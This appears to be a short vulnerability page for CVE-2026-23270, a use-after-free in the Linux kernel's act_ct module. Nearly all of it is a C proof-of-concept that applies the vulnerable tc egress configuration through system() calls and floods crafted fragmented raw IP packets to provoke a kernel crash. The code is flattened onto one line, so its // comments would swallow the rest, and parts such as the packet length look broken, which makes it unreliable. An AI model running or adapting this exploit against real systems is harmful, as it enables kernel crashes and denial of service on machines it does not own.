CVE-2026-23270 Linux内核act_ct模块Use-after-Free高危漏洞

// PoC for CVE-2026-23270: act_ct UaF via egress path attachment // This PoC demonstrates the vulnerability where act_ct attached to egress // can cause UaF when TC_ACT_CONSUMED is returned while skb is held by defrag engine #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <net/if.h> #include <linux/if_ether.h> #include <linux/ip.h> #include <linux/tc_act/tc_ct.h> // Attach act_ct to egress qdisc (VULNERABLE CONFIGURATION) void setup_vulnerable_config(char *ifname) { char cmd[512]; // Step 1: Add clsact qdisc to interface snprintf(cmd, sizeof(cmd), "tc qdisc add dev %s clsact", ifname); system(cmd); // Step 2: Attach act_ct to egress (VULNERABLE - should only be ingress) snprintf(cmd, sizeof(cmd), "tc filter add dev %s egress protocol ip prio 1 \ flower ip_proto 6 ct_state +trk \ action ct zone 1 pipe \ action gact drop", ifname); system(cmd); printf("[+] Vulnerable configuration applied: act_ct on egress\n"); } // Step 3: Send fragmented packets to trigger defrag + TC_ACT_CONSUMED void trigger_uaf(char *ifname) { int sock; struct sockaddr_in dest; char *packet; struct iphdr *ip; sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket"); return; } // Craft fragmented IP packets packet = malloc(1024); memset(packet, 0, 1024); ip = (struct iphdr *)packet; // Set IP header for fragmented packet ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->id = htons(0x1234); ip->frag_off = htons(IP_MF); // More fragments flag ip->ttl = 64; ip->protocol = IPPROTO_TCP; ip->saddr = inet_addr("192.168.1.100"); ip->daddr = inet_addr("192.168.1.1"); dest.sin_family = AF_INET; dest.sin_addr.s_addr = ip->daddr; // Send fragmented packets in loop to trigger race condition for (int i = 0; i < 1000; i++) { sendto(sock, packet, 64, 0, (struct sockaddr *)&dest, sizeof(dest)); usleep(100); } printf("[+] Sent fragmented packets to trigger UaF condition\n"); close(sock); free(packet); } int main(int argc, char **argv) { char ifname[32] = "eth0"; if (argc > 1) { strncpy(ifname, argv[1], sizeof(ifname) - 1); } printf("[*] CVE-2026-23270 PoC - act_ct UaF via egress\n"); printf("[*] Target interface: %s\n", ifname); setup_vulnerable_config(ifname); trigger_uaf(ifname); printf("[*] Check dmesg for UaF or kernel panic\n"); return 0; }